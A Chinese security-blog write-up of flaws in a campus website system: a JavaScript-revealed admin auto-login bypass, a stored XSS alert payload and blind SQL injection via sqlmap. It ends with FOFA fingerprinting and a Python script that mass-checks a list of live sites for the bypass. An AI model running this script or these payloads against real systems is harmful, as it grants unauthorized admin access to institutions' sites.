记一次校园网站漏洞通杀

admin 2024年10月9日00:38:18评论20 views字数 926阅读3分5秒阅读模式
 记一次校园网站漏洞通杀
01
     漏洞挖掘
记一次校园网站漏洞通杀
记一次校园网站漏洞通杀
Part.01
逻辑缺陷

熟悉的页面,熟悉的弱口令测试,但无果

记一次校园网站漏洞通杀

记一次校园网站漏洞通杀

我就把目光转向js审计,果不其然有新发现,可以根据账号自动登录

记一次校园网站漏洞通杀
记一次校园网站漏洞通杀

于是直接构造请求绕过登录

记一次校园网站漏洞通杀
记一次校园网站漏洞通杀
经典的管理员权限
Part.02
存储型XSS

寻找文本输入

记一次校园网站漏洞通杀

记一次校园网站漏洞通杀

浅析:前端:这里的标签都是普通标签,没有像RCDATA元素(RCDATA elements),有<textarea><title>,会做一次HTML编码,所以可以直接插入危险的js代码。后端:没有任何过滤(笑~

记一次校园网站漏洞通杀

记一次校园网站漏洞通杀

所以就简单了,直接插入<script>alert('1')</script>即可

记一次校园网站漏洞通杀

Part.03
SQL注入

记一次校园网站漏洞通杀

测试无果

记一次校园网站漏洞通杀

记一次校园网站漏洞通杀

最后发现注入点在第一个函数,果然任何一个输入点都是不安全的,是布尔型盲注

记一次校园网站漏洞通杀

记一次校园网站漏洞通杀

后面就是经典Sqlmap了

记一次校园网站漏洞通杀

记一次校园网站漏洞通杀

02
      继续通杀
记一次校园网站漏洞通杀
记一次校园网站漏洞通杀

根据系统指纹在fofa上搜索:"xx系统" && icon_hash="11xxxx"有32个IP,看了下,有重复的

记一次校园网站漏洞通杀

使用fofa_viewer导出目标这里我根据第一个逻辑漏洞的漏洞指纹信息,写了一个poc

import requests


def poc(url):
   poc_url = url + '/login/doautologin.edu'
   data = {'um.userid': "admin"}
   try:
       res = requests.post(poc_url, data=data, timeout=5)
       if (res.headers.get("Set-Cookie")): # 登录成功就会set-cookie
           print(url + '/login.html')
   except BaseException:  
       pass


if __name__ == '__main__':
   with open('url.txt', 'r') as f:
       for i in f:
           poc(i.rstrip('n'))
03
      思考总结
记一次校园网站漏洞通杀
记一次校园网站漏洞通杀
记一次校园网站漏洞通杀
01
在访问系统当中的时候F12查看源码是一个不错的习惯(尤其是有前端弹框的)
02
前端代码的一切展示行为完全可控(一定要理解这句话)
03
了解程序的底层逻辑,你才能更清晰的知道每一个参数的意义

原文始发于微信公众号(SecNL安全团队):记一次校园网站漏洞通杀

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月9日00:38:18
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次校园网站漏洞通杀https://cn-sec.com/archives/3242935.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息